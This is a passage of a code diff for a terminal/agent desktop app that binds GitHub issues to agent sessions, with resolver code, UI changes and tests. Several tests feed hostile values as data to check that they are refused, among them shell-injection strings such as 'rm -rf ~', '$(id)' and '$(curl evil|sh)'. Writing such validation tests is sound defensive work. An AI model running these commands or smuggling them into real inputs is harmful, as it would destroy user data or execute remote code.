be connected to a GitHub repository — pass owner/repo#9 instead"+ })+ expect(ask).not.toHaveBeenCalled()+ })++ it('refuses #N when the board exists but nobody can name its repository', async () => {+ const r = await resolveIssueFlagFor('#9', 'open-agent', withBoard(), async () => null)+ expect(r.ok).toBe(false)+ })++ it.each(['o/r#1; rm -rf ~', 'o/r#`id`', 'o/r#$(id)', 'o/r#1\nx', '#1 && x', '#', 'o/r'])(+ 'refuses %j even if a malformed value got past main',+ async (raw) => {+ const r = await resolveIssueFlagFor(raw, 'open-agent', withBoard('o/r'), async () => 'o/r')+ expect(r.ok).toBe(false)+ }+ )++ it('refuses #N against a hostile configured repository instead of splicing it', async () => {+ const r = await resolveIssueFlagFor('#1', 'open-agent', withBoard('o/r;rm -rf ~'), async () => {+ throw new Error('down')+ })+ expect(r.ok).toBe(false)+ })+})diff --git a/src/renderer/lib/issueFlag.ts b/src/renderer/lib/issueFlag.tsnew file mode 100644index 000000000..b9ab8a00f--- /dev/null+++ b/src/renderer/lib/issueFlag.ts@@ -0,0 +1,38 @@+// What `open-agent --issue <owner/repo#N | #N>` resolves to, for the desktop control dispatch.+//+// Pure apart from the one injected question it cannot answer itself: which repository a project's+// kanban board syncs with. That is the GitHub host controller's answer (configured, else detected+// from the project's git remote — exactly what the issue lane uses), asked of the core that owns the+// project. `#N` means that repository and nothing else; with no GitHub board, or a board whose+// repository nobody can name, `#N` is refused and told the full form. The reference is re-parsed+// here with the one shared grammar even though main already refused a malformed shape — the+// renderer never trusts that the gate in front of it ran.++import { resolveIssueArg, type IssueRef } from '@shared/github-issue-ref'++export interface IssueFlagProject {+ id: string+ kanban?: { github?: { repository?: string } }+}++export type IssueFlagResult = { ok: true; ref?: IssueRef } | { ok: false; error: string }++export async function resolveIssueFlagFor(+ raw: string | undefined,+ verb: string,+ project: IssueFlagProject | undefined,+ boardRepository: (projectId: string) => Promise<string | null>+): Promise<IssueFlagResult> {+ if (raw === undefined) return { ok: true }+ let repository: string | null = null+ if (project?.kanban?.github) {+ // A session api without a GitHub controller (a relay tab's) may throw synchronously rather+ // than reject — either way the answer is "unknown", never a failed open.+ repository = await Promise.resolve()+ .then(() => boardRepository(project.id))+ .catch(() => null)+ repository ??= project.kanban.github.repository ?? null+ }+ const resolved = resolveIssueArg(raw, repository)+ return resolved.ok ? { ok: true, ref: resolved.ref } : { ok: false, error: `${verb}: ${resolved.error}` }+}diff --git a/src/renderer/lib/issueRuns.test.ts b/src/renderer/lib/issueRuns.test.tsnew file mode 100644index 000000000..95b469421--- /dev/null+++ b/src/renderer/lib/issueRuns.test.ts@@ -0,0 +1,135 @@+import { describe, expect, it } from 'vitest'+import {+ NO_ISSUE_RUNS,+ boundRunsByIssue,+ issueRunChip,+ issueRunChipSig,+ runEndState,+ runEndedEntry,+ runStartedEntry,+ type IssueRunSession+} from './issueRuns'++const REF = { owner: 'eneskirca', repo: 'nodeterm', number: 42 }++describe('runStartedEntry / runEndedEntry', () => {+ it('files a run-started event under the ISSUE card, naming the session', () => {+ expect(+ runStartedEntry(REF, { id: 'term-1', title: 'Claude', agentId: 'claude', agentSessionId: 'sid-1' })+ ).toEqual({+ kind: 'event',+ nodeId: 'github-issue:eneskirca/nodeterm#42',+ event: {+ type: 'run-started',+ title: 'Claude',+ run: { nodeId: 'term-1', agentId: 'claude', sessionId: 'sid-1' }+ }+ })+ })++ it('omits what it does not know rather than inventing it (no session id for an agent that mints none)', () => {+ const e = runStartedEntry(REF, { id: 'term-1', title: 'Codex', agentId: 'codex' })!+ expect(e.event?.run).toEqual({ nodeId: 'term-1', agentId: 'codex' })+ })++ it('writes nothing for a node with no valid binding', () => {+ expect(runStartedEntry(undefined, { id: 't', title: 'x' })).toBeNull()+ expect(runStartedEntry({ owner: 'o;rm', repo: 'r', number: 1 }, { id: 't', title: 'x' })).toBeNull()+ expect(runEndedEntry(undefined, { id: 't', title: 'x' }, undefined)).toBeNull()+ })++ it('records the end with the last observed state and the live session id first', () => {+ const e = runEndedEntry(+ REF,+ { id: 'term-1', title: 'Claude', agentId: 'claude', agentSessionId: 'minted' },+ { state: 'done', unread: false, sessionId: 'live' }+ )!+ expect(e.nodeId).toBe('github-issue:eneskirca/nodeterm#42')+ expect(e.event).toEqual({+ type: 'run-ended',+ title: 'Claude',+ run: { nodeId: 'term-1', agentId: 'claude', sessionId: 'live', end: 'done' }+ })+ })++ it('carries no cost or token figure (there is no cumulative number to report)', () => {+ const e = runEndedEntry(REF, { id: 't', title: 'x' }, { state: 'done', unread: false })!+ expect(JSON.stringify(e)).not.toMatch(/cost|token|usage/i)+ })+})++describe('runEndState', () => {+ it.each([+ [undefined, 'unknown'],+ [{ unread: false }, 'unknown'],+ [{ state: 'working', unread: false }, 'working'],+ [{ state: 'waiting', unread: false }, 'waiting'],+ [{ state: 'blocked', unread: false }, 'blocked'],+ [{ state: 'done', unread: false }, 'done'],+ [{ state: 'done', unread: false, lastTurnError: { at: 1 } }, 'errored'],+ [{ state: 'done', unread: false, dropped: true }, 'dropped']+ ] as const)('%j → %s', (status, end) => {+ expect(runEndState(status as never)).toBe(end)+ })+})++describe('issueRunChip — the chip follows the bound node state', () => {+ it.each([+ [undefined, 'idle'],+ [{ state: 'working', unread: false }, 'running'],+ [{ state: 'waiting', unread: false }, 'needs'],+ [{ state: 'blocked', unread: false }, 'needs'],+ [{ state: 'done', unread: false }, 'idle'],+ [{ state: 'done', unread: true }, 'idle'],+ [{ state: 'done', unread: false, lastTurnError: { at: 1 } }, 'failed'],+ [{ state: 'done', unread: false, dropped: true }, 'dropped']+ ] as const)('%j → %s', (status, kind) => {+ expect(issueRunChip(status as never).kind).toBe(kind)+ })++ it('carries unread separately from the state', () => {+ expect(issueRunChip({ state: 'done', unread: true }).unread).toBe(true)+ expect(issueRunChip({ state: 'working', unread: false }).unread).toBe(false)+ })++ it('reduces to a primitive signature that changes only when the chip would', () => {+ const a = issueRunChipSig({ state: 'working', unread: false, stateAt: 1 } as never)+ const b = issueRunChipSig({ state: 'working', unread: false, stateAt: 999 } as never)+ expect(a).toBe(b)+ expect(issueRunChipSig({ state: 'done', unread: false })).not.toBe(a)+ expect(issueRunChipSig({ state: 'done', unread: true })).not.toBe(issueRunChipSig({ state: 'done', unread: false }))+ })+})++describe('boundRunsByIssue', () => {+ const s = (id: string, issueRef?: unknown, title = id): IssueRunSession =>+ ({ id, title, agentId: 'claude', issueRef }) as IssueRunSession++ it('groups bound sessions under their issue, case-insensitively', () => {+ const map = boundRunsByIssue([+ s('a', REF),+ s('b', { owner: 'EnesKirca', repo: 'NodeTerm', number: 42 }),+ s('c', { ...REF, number: 7 }),+ s('d')+ ])+ expect(map.get('eneskirca/nodeterm#42')?.map((r) => r.id)).toEqual(['a', 'b'])+ expect(map.get('eneskirca/nodeterm#7')?.map((r) => r.id)).toEqual(['c'])+ expect(map.size).toBe(2)+ })++ it('ignores a hostile binding instead of grouping it', () => {+ expect(boundRunsByIssue([s('a', { owner: 'o', repo: 'r;x', number: 1 })]).size).toBe(0)+ })++ it('reuses the previous array when a bound set did not change (memoized cards keep their props)', () => {+ const first = boundRunsByIssue([s('a', REF)])+ const second = boundRunsByIssue([s('a', REF), s('z')], first)+ expect(second.get('eneskirca/nodeterm#42')).toBe(first.get('eneskirca/nodeterm#42'))+ const renamed = boundRunsByIssue([s('a', REF, 'renamed')], first)+ expect(renamed.get('eneskirca/nodeterm#42')).not.toBe(first.get('eneskirca/nodeterm#42'))+ })++ it('exposes one shared empty list for unbound cards', () => {+ expect(NO_ISSUE_RUNS).toEqual([])+ })+})diff --git a/src/renderer/lib/issueRuns.ts b/src/renderer/lib/issueRuns.tsnew file mode 100644index 000000000..a59419eb6--- /dev/null+++ b/src/renderer/lib/issueRuns.ts@@ -0,0 +1,112 @@+// Pure rules for the GitHub-issue ↔ session binding on the board: which sessions a card shows, what+// its live chip says, and the run history filed under the issue card.+//+// Two invariants the rest of the feature leans on, stated here where they are decided:+//+// - A hook `done` NEVER moves a card. `done` means "a turn ended", not "the work is finished" —+// it drives the chip, and nothing in this module (or anywhere the chip is read) writes a board+// assignment. A card moves only when the session `assign`s itself or a person drags it.+// - The run history carries NO cost or token figure. nodeterm has no cumulative per-session+// number; the context meter is a window reading, and presenting it as a cost would be a wrong+// number shown as a fact.++import { issueKey, normalizeIssueRef, type IssueRef } from '@shared/github-issue-ref'+import {+ runEndState,+ runEndedEvent,+ runStartedEvent,+ type IssueRunNode,+ type IssueRunStatus+} from '@shared/issue-runs'+import type { AgentNodeStatus } from '../state/agentStatus'+import type { BoardLogAppendInput } from '../state/boardLog'++export { runEndState, type IssueRunNode }++type StatusLike = Pick<AgentNodeStatus, 'state' | 'unread'> & IssueRunStatus++/** `run-started` as a board-log append (the shared event, filed under the issue card). */+export function runStartedEntry(ref: unknown, node: IssueRunNode): BoardLogAppendInput | null {+ const e = runStartedEvent(ref, node)+ return e ? { kind: 'event', ...e } : null+}++/** `run-ended` as a board-log append — written when a bound node is CLOSED, never on a turn ending. */+export function runEndedEntry(+ ref: unknown,+ node: IssueRunNode,+ status: StatusLike | undefined+): BoardLogAppendInput | null {+ const e = runEndedEvent(ref, node, status)+ return e ? { kind: 'event', ...e } : null+}++export type IssueRunChipKind = 'running' | 'needs' | 'failed' | 'dropped' | 'idle'++/** What a bound session's chip on the issue card says. Same precedence as the session card's own+ * badge (DROPPED first, then RUNNING, then NEEDS YOU), plus the TURN FAILED verdict the node header+ * shows. `done` is `idle`: a finished turn is not a finished issue. */+export function issueRunChip(status: StatusLike | undefined): { kind: IssueRunChipKind; unread: boolean } {+ const unread = !!status?.unread+ if (!status) return { kind: 'idle', unread }+ if (status.dropped) return { kind: 'dropped', unread }+ if (status.state === 'working') return { kind: 'running', unread }+ if (status.state === 'waiting' || status.state === 'blocked') return { kind: 'needs', unread }+ if (status.lastTurnError) return { kind: 'failed', unread }+ return { kind: 'idle', unread }+}++/** A primitive the chip subscribes to (`useAgentStatus(s => issueRunChipSig(s.byId[id]))`), so a+ * same-state hook event — which refreshes `stateAt` in place — re-renders nothing. */+export function issueRunChipSig(status: StatusLike | undefined): string {+ const c = issueRunChip(status)+ return `${c.kind}|${c.unread ? 1 : 0}`+}++/** One session as the issue card sees it. */+export interface IssueRunSession {+ id: string+ title: string+ agentId?: string+ issueRef?: IssueRef+}++export interface IssueRun {+ id: string+ title: string+ agentId?: string+}++/** Shared empty list, so an unbound issue card's memoized props never change identity. */+export const NO_ISSUE_RUNS: readonly IssueRun[] = Object.freeze([])++/**+ * Sessions grouped by the issue they are bound to (keyed by `issueKey`, case-insensitive). Pass the+ * previous result to keep each group's array identity when its content is unchanged — the board+ * derives sessions on every canvas change, and a fresh array per render would defeat the issue+ * card's memo.+ */+export function boundRunsByIssue(+ sessions: readonly IssueRunSession[],+ previous?: ReadonlyMap<string, readonly IssueRun[]>+): Map<string, readonly IssueRun[]> {+ const grouped = new Map<string, IssueRun[]>()+ for (const s of sessions) {+ const ref = normalizeIssueRef(s.issueRef)+ const key = ref ? issueKey(ref) : undefined+ if (!key) continue+ const list = grouped.get(key) ?? []+ list.push({ id: s.id, title: s.title, ...(s.agentId ? { agentId: s.agentId } : {}) })+ grouped.set(key, list)+ }+ const out = new Map<string, readonly IssueRun[]>()+ for (const [key, list] of grouped) {+ const prev = previous?.get(key)+ const same =+ !!prev &&+ prev.length === list.length &&+ prev.every((r, i) => r.id === list[i].id && r.title === list[i].title && r.agentId === list[i].agentId)+ out.set(key, same ? prev : list)+ }+ return out+}diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsxindex 06638515b..1a88e578f 100644--- a/src/renderer/nodes/TerminalNode.tsx+++ b/src/renderer/nodes/TerminalNode.tsx@@ -219,7 +219,7 @@ import { PresenceChips } from '../components/PresenceChips'import { useAgentNodes } from '../state/agentNodes'import { useTerminalFocus } from '../state/terminalFocus'import { useProjects } from '../state/projects'-import { isGlobalKanbanOpen, isKanbanOpen, isOmniKanbanEnabled, useViewMode, viewFor } from '../state/viewMode'+import { isGlobalKanbanOpen, isKanbanOpen, isOmniKanbanEnabled, openIssueOnBoard, useViewMode, viewFor } from '../state/viewMode'import { useSshConn } from '../state/sshConn'import { useWorktrees } from '../state/worktrees'import { isRemoteSessionNode } from '@shared/worktree'@@ -228,6 +228,7 @@ import { isBrowserRuntime } from '../bridge/runtime'import { agentLaunchOverride, COLLAPSED_HEIGHT, type CanvasNode } from '../state/workspace'import { NodeColorSwatches } from '../components/NodeColorSwatches'import { AccountChip, useAccountChip } from '../components/AccountChip'+import { IssueRefChip } from '../components/IssueRefChip'import { effectiveAccountId } from '../lib/accountChip'import {hasHooks,@@ -5620,6 +5621,12 @@ export function TerminalNode({{status.session}</span>)}+ {/* The GitHub issue this session was started on — opens it on the board (the issue lane+ lives there), the same thing the session's board card does with its own `#N`. */}+ <IssueRefChip+ issueRef={data.issueRef}+ onOpen={(ref) => openIssueOnBoard(useProjects.getState().activeProjectId, ref)}+ />{/* The fallback, made visible. A Codex node that could not get a managed shared identityruns a perfectly good plain `codex` — but the user has to be able to SEE that it did,without reading a log, so the chip states it and its tooltip says why. Absent (and thediff --git a/src/renderer/state/viewMode.ts b/src/renderer/state/viewMode.tsindex 058bc5537..607555eac 100644--- a/src/renderer/state/viewMode.ts+++ b/src/renderer/state/viewMode.ts@@ -1,6 +1,7 @@import { create } from 'zustand'import { readLocal, writeLocal } from '../lib/localStore'import { useSettings } from './settings'+import type { IssueRef } from '@shared/github-issue-ref'// Which view each project shows (canvas or kanban) — PERSONAL, per machine: persisted in// localStorage, deliberately never in the git-shared .nodeterm/project.json (spec rule).@@ -59,6 +60,15 @@ interface ViewModeState {requestedCardNodeId: string | nullrequestCard(nodeId: string): voidclearCardRequest(): void+ /**+ * A GitHub issue whose summary should open on the board — set by a node's `#N` chip (canvas+ * header or session card). One-shot like `requestedCardNodeId`: KanbanView opens the issue's+ * summary once the issue lane has loaded, or the issue on GitHub when the board does not show it+ * (no GitHub sync, another repository, a page not fetched), and clears it either way.+ */+ requestedIssue: IssueRef | null+ requestIssue(ref: IssueRef): void+ clearIssueRequest(): void}/** The resolved view for a project: its explicit entry, or the default. */@@ -97,6 +107,9 @@ export const useViewMode = create<ViewModeState>((set) => ({requestedCardNodeId: null,requestCard: (nodeId) => set({ requestedCardNodeId: nodeId }),clearCardRequest: () => set({ requestedCardNodeId: null }),+ requestedIssue: null,+ requestIssue: (ref) => set({ requestedIssue: ref }),+ clearIssueRequest: () => set({ requestedIssue: null }),toggle: (projectId) =>set((s) => {// Flip the RESOLVED view and store it EXPLICITLY, so this choice now overrides the default.@@ -108,13 +121,13 @@ export const useViewMode = create<ViewModeState>((set) => ({save(next)// Leaving the board (or entering it) drops any unconsumed request — it belonged to the view// the user just left, and firing it later would pop a card out of nowhere.- return { viewByProject: next, requestedCardNodeId: null }+ return { viewByProject: next, requestedCardNodeId: null, requestedIssue: null }}),toggleGlobalKanban: () =>set((s) => {const next = !s.globalKanbansaveGlobalKanban(next)- return { globalKanban: next, requestedCardNodeId: null, highlightedSwimlaneId: null }+ return { globalKanban: next, requestedCardNodeId: null, requestedIssue: null, highlightedSwimlaneId: null }})}))@@ -143,3 +156,14 @@ export function isGlobalKanbanOpen(): boolean {}return useViewMode.getState().globalKanban}++/**+ * Show a GitHub issue from a node's `#N` chip: bring up the project's board (the issue lane lives+ * there) and ask it to open the issue. Toggle FIRST — leaving or entering the board drops any+ * unconsumed request, so the request must be made after the view change, not before.+ */+export function openIssueOnBoard(projectId: string, ref: IssueRef): void {+ const vm = useViewMode.getState()+ if (projectId && !isKanbanOpen(projectId)) vm.toggle(projectId)+ useViewMode.getState().requestIssue(ref)+}diff --git a/src/renderer/state/workspace.test.ts b/src/renderer/state/workspace.test.tsindex ae8b3d2ff..9a09fe866 100644--- a/src/renderer/state/workspace.test.ts+++ b/src/renderer/state/workspace.test.ts@@ -688,6 +688,75 @@ describe('node icon serialization', () => {})})+describe('issueRef serialization (GitHub issue binding)', () => {+ const withIssue = (issueRef: unknown): CanvasNode =>+ ({+ id: 't1',+ type: 'terminal',+ position: { x: 0, y: 0 },+ width: 320,+ height: 240,+ data: { title: 'T', color: '#888', group: null, agentId: 'claude', issueRef }+ }) as unknown as CanvasNode++ const stateWithIssue = (issueRef: unknown) => ({+ id: 't1',+ kind: 'terminal' as const,+ position: { x: 0, y: 0 },+ size: { width: 320, height: 240 },+ title: 'T',+ color: '#888',+ group: null,+ agentId: 'claude',+ issueRef+ })++ const ref = { owner: 'eneskirca', repo: 'nodeterm', number: 42 }++ it('round-trips a valid binding', () => {+ const states = flowToNodeStates([withIssue(ref)])+ expect(states[0].issueRef).toEqual(ref)+ expect(nodeStatesToFlow(states)[0].data.issueRef).toEqual(ref)+ })++ it('tolerates its absence: a node saved before the feature hydrates with no binding', () => {+ // eslint-disable-next-line @typescript-eslint/no-explicit-any+ const { issueRef: _omit, ...legacy } = stateWithIssue(undefined) as any+ const flow = nodeStatesToFlow([legacy])+ expect(flow[0].data.issueRef).toBeUndefined()+ expect(flow[0].data.agentId).toBe('claude')+ expect(flowToNodeStates(flow)[0].issueRef).toBeUndefined()+ })++ // project.json is git-shared: a clone can carry anything here. A malformed binding is DROPPED+ // (the node survives; only the chip and history go) rather than repaired.+ it.each([+ 'eneskirca/nodeterm#42',+ { owner: 'o', repo: 'r' },+ { owner: 'o', repo: 'r', number: '42' },+ { owner: 'o;rm -rf ~', repo: 'r', number: 1 },+ { owner: 'o', repo: 'r`id`', number: 1 },+ { owner: 'o', repo: '$(id)', number: 1 },+ { owner: 'o', repo: 'r\nrm', number: 1 },+ { owner: 'o', repo: 'r', number: 0 }+ ])('drops a malformed binding %j on the way IN', (bad) => {+ // eslint-disable-next-line @typescript-eslint/no-explicit-any+ const flow = nodeStatesToFlow([stateWithIssue(bad) as any])+ expect(flow[0].data.issueRef).toBeUndefined()+ expect(flow[0].id).toBe('t1')+ })++ it('drops a malformed binding on the way OUT', () => {+ expect(flowToNodeStates([withIssue({ owner: 'o', repo: 'r;x', number: 1 })])[0].issueRef).toBeUndefined()+ })++ it('strips unknown keys a hostile file smuggles in beside a valid binding', () => {+ // eslint-disable-next-line @typescript-eslint/no-explicit-any+ const flow = nodeStatesToFlow([stateWithIssue({ ...ref, title: '$(curl evil|sh)' }) as any])+ expect(flow[0].data.issueRef).toEqual(ref)+ })+})+describe('resolveNewNodeAccount', () => {const accounts = [{ id: 'a1', label: 'work', createdAt: 0 }]it('prefers the explicit pick', () =>diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.tsindex e2d0a99b6..2b341a3a7 100644--- a/src/renderer/state/workspace.ts+++ b/src/renderer/state/workspace.ts@@ -32,6 +32,7 @@ import { codexApprovalCaps } from './codexCli'import { folderTitle } from '../lib/explorerCreate'import { sshHostKey } from '@shared/ssh'import { normalizeNodeIcon } from '@shared/node-icon'+import { normalizeIssueRef, type IssueRef } from '@shared/github-issue-ref'import { useSettings } from './settings'// Re-exported so Canvas (and anything else in the renderer) keeps importing it from here, while the@@ -146,6 +147,9 @@ export interface NodeData {agentId?: AgentId/** Model selected for this node through the shared model gateway. */agentModel?: string+ /** The GitHub issue this agent session was started on (see `CanvasNodeState.issueRef`).+ * Display + run history only — never read back into a launch line. */+ issueRef?: IssueRef/*** Claude nodes only: the managed Claude account (config-dir isolated) this node runs under.* Persisted so cold-restore resume reads the transcript from the right account dir.@@ -1962,6 +1966,9 @@ export function nodeStatesToFlow(states: CanvasNodeState[]): CanvasNode[] {highScore: n.highScore,agentId,agentModel: n.agentModel,+ // Same seam rule as the icon: a git-shared file becoming live data. A malformed or hostile+ // reference becomes no binding (the node is kept — only the chip and history go).+ issueRef: normalizeIssueRef(n.issueRef),accountId: n.accountId,agentSessionId: n.agentSessionId,pendingLaunch: n.pendingLaunch,@@ -2042,6 +2049,8 @@ export function flowToNodeStates(nodes: CanvasNode[], retainInitialCommand = truhighScore: n.data.highScore,agentId: n.data.agentId,agentModel: n.data.agentModel,+ // Re-validated on the way OUT as well — the file is only as trustworthy as its last writer.+ issueRef: normalizeIssueRef(n.data.issueRef),accountId: n.data.accountId,agentSessionId: n.data.agentSessionId,// Owning-core UI intent is durable. Relay snapshots opt out: their new UI commanddiff --git a/src/renderer/styles.css b/src/renderer/styles.cssindex 0cb06130b..489dff284 100644--- a/src/renderer/styles.css+++ b/src/renderer/styles.css@@ -10713,6 +10713,79 @@ button.group-node__setup:disabled {font-size: 13px;line-height: 1.6;}+/* GitHub issue ↔ agent session binding. The issue card lists every session started on it as a+ live chip (state from the agent-status store — static, no animation: a card can carry several,+ and the RUNNING pulse already lives on the session's own card). */+.issue-run-chips {+ display: flex;+ flex-wrap: wrap;+ gap: 4px;+ margin-top: 6px;+}+.issue-run-chip {+ display: inline-flex;+ align-items: center;+ gap: 5px;+ max-width: 100%;+ padding: 1px 6px;+ border: 1px solid rgba(var(--tint-rgb), 0.14);+ border-radius: 999px;+ background: rgba(var(--tint-rgb), 0.05);+ color: var(--text);+ font: inherit;+ font-size: 10px;+ line-height: 1.5;+ cursor: pointer;+}+.issue-run-chip:hover {+ background: rgba(var(--tint-rgb), 0.1);+}+.issue-run-chip__name {+ overflow: hidden;+ text-overflow: ellipsis;+ white-space: nowrap;+ max-width: 120px;+}+.issue-run-chip__state {+ font-size: 9px;+ font-weight: 700;+ letter-spacing: 0.04em;+}+.issue-run-chip--running .issue-run-chip__state {+ color: var(--success);+}+.issue-run-chip--needs .issue-run-chip__state {+ color: var(--attention-text);+}+.issue-run-chip--failed .issue-run-chip__state,+.issue-run-chip--dropped .issue-run-chip__state {+ color: var(--warn);+}+.github-issue-modal__runs {+ padding: 10px 22px 0;+}+.github-issue-modal__history {+ border-top: 1px solid rgba(var(--tint-rgb), 0.08);+ padding: 12px 22px 18px;+}+/* `#N` on a session started on a GitHub issue — canvas node header and its board card alike. */+.issue-ref-chip {+ margin-left: 6px;+ padding: 0 6px;+ flex: 0 0 auto;+ border: 1px solid rgba(var(--tint-rgb), 0.16);+ border-radius: 6px;+ background: transparent;+ color: var(--muted);+ font: inherit;+ font-size: 11px;+ line-height: 1.5;+ cursor: pointer;+}+.issue-ref-chip:hover {+ color: var(--text);+ background: rgba(var(--tint-rgb), 0.08);+}@media (max-width: 520px) {.kanban-header {gap: 6px;diff --git a/src/server/canvas-control.ts b/src/server/canvas-control.tsindex 918d45132..685826390 100644--- a/src/server/canvas-control.ts+++ b/src/server/canvas-control.ts@@ -53,6 +53,10 @@ export interface ServerCanvasControlDeps {codexCaps?: () => Promise<CodexCliCaps>/** Test seam for the boot-populated shared Codex capability answer. */codexSharedIdentity?: () => Promise<boolean>+ /** The `owner/repo` a project's kanban board syncs with (the GitHub host controller's answer) —+ * what `open-agent --issue #N` resolves against. Absent = only an explicitly configured+ * repository counts. See HeadlessNodeFactoryDeps.issueRepository. */+ issueRepository?: (projectId: string) => Promise<string | null>/*** Whether to write this server's discovery surface into the machine's REAL agent configuration* directories: `~/.claude/skills/manage-nodeterm-canvas/SKILL.md`, the marker block in@@ -189,7 +193,10 @@ export async function initServerCanvasControl(// up suspends autosave, so it latched on, and "Keep my version" then wrote the browser's edge// state over the ropes this factory had just persisted. These writes are OURS; the renderer// merges them (renderer/lib/serverChange.ts) and is never asked to choose.- publishProject: (project: Project) => platform().broadcast(IPC.workspaceServerChange, project)+ publishProject: (project: Project) => platform().broadcast(IPC.workspaceServerChange, project),+ issueRepository: deps.issueRepository,+ // An issue card's run history lives in the same board log the messaging trace writes to.+ appendBoardLog: (projectId, entry) => deps.boardLog.append(projectId, entry)})const messaging: AgentMessagingDeps = {diff --git a/src/server/headless-node-factory.issue.test.ts b/src/server/headless-node-factory.issue.test.tsnew file mode 100644index 000000000..d66da8d4f--- /dev/null+++ b/src/server/headless-node-factory.issue.test.ts@@ -0,0 +1,226 @@+import fs from 'node:fs'+import os from 'node:os'+import path from 'node:path'++import { afterEach, beforeEach, describe, expect, it } from 'vitest'++import { fakePlatform } from '../core/platform-fake'+import { initPlatform, resetPlatformForTests } from '../core/platform'+import { WorkspaceStore } from '../core/workspace-store'+import {+ DEFAULT_SETTINGS,+ type BoardLogEntry,+ type CanvasNodeState,+ type PtyCreateOptions,+ type PtyCreateResult,+ type Settings,+ type Workspace+} from '../shared/types'+import { HeadlessNodeFactory, type HeadlessPty } from './headless-node-factory'+import { createServerEditionControlHandler } from './control-unsupported'++class FakePty implements HeadlessPty {+ readonly creates: PtyCreateOptions[] = []+ readonly sends: Array<{ nodeId: string; text: string }> = []+ async createHeadless(options: PtyCreateOptions): Promise<PtyCreateResult> {+ this.creates.push(options)+ return { sessionId: `pty-${options.persistKey}`, fresh: true, persistent: true }+ }+ async paneCommand(): Promise<string | null> { return 'bash' }+ async sessionExists(): Promise<boolean> { return true }+ async sendText(nodeId: string, text: string): Promise<boolean> {+ this.sends.push({ nodeId, text })+ return true+ }+ async destroySession(): Promise<void> {}+}++const source: CanvasNodeState = {+ id: 'term-source',+ kind: 'terminal',+ position: { x: 20, y: 30 },+ size: { width: 640, height: 440 },+ title: 'Director',+ color: '#d97757',+ group: null,+ tags: [],+ agentId: 'claude'+}++describe('Server Edition open-agent --issue', () => {+ let dataDir = ''+ let store: WorkspaceStore+ let pty: FakePty+ let log: Array<{ projectId: string; entry: BoardLogEntry }>+ let factory: HeadlessNodeFactory+ let boardRepository: string | null++ const settings = (): Settings => ({ ...DEFAULT_SETTINGS, claudePermissionMode: 'manual' })++ const seed = async (withGitHub: boolean): Promise<void> => {+ const projectDir = path.join(dataDir, 'project')+ fs.mkdirSync(projectDir, { recursive: true })+ const workspace: Workspace = {+ version: 2,+ activeProjectId: 'project-1',+ projects: [+ {+ id: 'project-1',+ name: 'Test',+ color: '#0a84ff',+ cwd: projectDir,+ viewport: { x: 0, y: 0, zoom: 1 },+ nodes: [source],+ bridges: [],+ ropes: [],+ ...(withGitHub+ ? {+ kanban: {+ columns: [{ id: 'kcol-todo', title: 'To Do', color: '#0a84ff' }],+ assignments: [],+ github: { columnMappings: [] }+ }+ }+ : {})+ }+ ]+ }+ await store.save(workspace)+ }++ beforeEach(() => {+ dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'nodeterm-issue-factory-'))+ resetPlatformForTests()+ initPlatform(fakePlatform({ userDataDir: dataDir }))+ store = new WorkspaceStore()+ pty = new FakePty()+ log = []+ boardRepository = 'eneskirca/nodeterm'+ factory = new HeadlessNodeFactory({+ workspaceStore: store,+ ptyManager: pty,+ settings,+ cliCaps: async () => ({ version: null, autoPermissionMode: false, fullscreenTui: false, sessionIdFlag: false }),+ grokCaps: async () => ({ sessionIdFlag: false, models: [] }),+ codexCaps: async () => ({ approvalValues: ['on-request', 'never'] }),+ codexSharedIdentity: async () => false,+ stateOf: () => undefined,+ issueRepository: async () => boardRepository,+ appendBoardLog: async (projectId, entry) => {+ log.push({ projectId, entry })+ return true+ }+ })+ })++ afterEach(() => {+ factory.stop()+ resetPlatformForTests()+ fs.rmSync(dataDir, { recursive: true, force: true })+ })++ it('launches with the reference only, binds the node, and records the run on the issue card', async () => {+ await seed(true)+ const reply = await factory.openAgent('term-source', { agent: 'claude', issue: '#42' }, true)+ expect(reply).toMatchObject({ ok: true, result: { issue: 'eneskirca/nodeterm#42' } })+ const id = (reply.result as { id: string }).id+ expect(pty.sends).toEqual([+ {+ nodeId: id,+ text:+ "claude 'You are working on GitHub issue eneskirca/nodeterm#42. " ++ "Start by reading it: gh issue view 42 --repo eneskirca/nodeterm --comments'"+ }+ ])+ const saved = (await store.load({ sideline: false })).projects[0].nodes.find((n) => n.id === id)+ expect(saved?.issueRef).toEqual({ owner: 'eneskirca', repo: 'nodeterm', number: 42 })+ expect(log).toEqual([+ {+ projectId: 'project-1',+ entry: expect.objectContaining({+ nodeId: 'github-issue:eneskirca/nodeterm#42',+ kind: 'event',+ event: expect.objectContaining({ type: 'run-started', run: expect.objectContaining({ nodeId: id }) })+ })+ }+ ])+ })++ it('appends the caller brief after the issue line', async () => {+ await seed(true)+ const reply = await factory.openAgent(+ 'term-source',+ { agent: 'claude', issue: 'o/r#7', prompt: 'Only touch the parser.' },+ true+ )+ expect(reply.ok).toBe(true)+ expect(pty.sends[0].text).toBe(+ "claude 'You are working on GitHub issue o/r#7. Start by reading it: gh issue view 7 --repo o/r --comments. Only touch the parser.'"+ )+ })++ it('refuses #N when the board syncs with no repository, and opens nothing', async () => {+ await seed(false)+ const reply = await factory.openAgent('term-source', { agent: 'claude', issue: '#42' }, true)+ expect(reply.ok).toBe(false)+ expect(reply.error).toMatch(/pass owner\/repo#42 instead/)+ expect(pty.creates).toEqual([])+ expect((await store.load({ sideline: false })).projects[0].nodes).toHaveLength(1)+ })++ it('refuses #N when the host controller cannot name a repository either', async () => {+ await seed(true)+ boardRepository = null+ const reply = await factory.openAgent('term-source', { agent: 'claude', issue: '#42' }, true)+ expect(reply.ok).toBe(false)+ expect(pty.creates).toEqual([])+ })++ it.each(['o/r#1; rm -rf ~', 'o/r#`id`', 'o/r#$(id)', 'o/r#1\nrm -rf ~', '$(id)/r#1'])(+ 'a hostile reference %j never reaches a pane — through the real Server handler',+ async (issue) => {+ await seed(true)+ const handler = createServerEditionControlHandler({+ openAgent: (nodeId: string, args: Record<string, string>, verified: boolean) =>+ factory.openAgent(nodeId, args, verified)+ } as never)+ const reply = await handler({+ verb: 'open-agent',+ nodeId: 'term-source',+ args: { agent: 'claude', issue },+ verified: true+ })+ expect(reply.ok).toBe(false)+ expect(pty.creates).toEqual([])+ expect(pty.sends).toEqual([])+ }+ )++ it('a hostile reference is refused by the factory itself too (defence in depth)', async () => {+ await seed(true)+ const reply = await factory.openAgent('term-source', { agent: 'claude', issue: 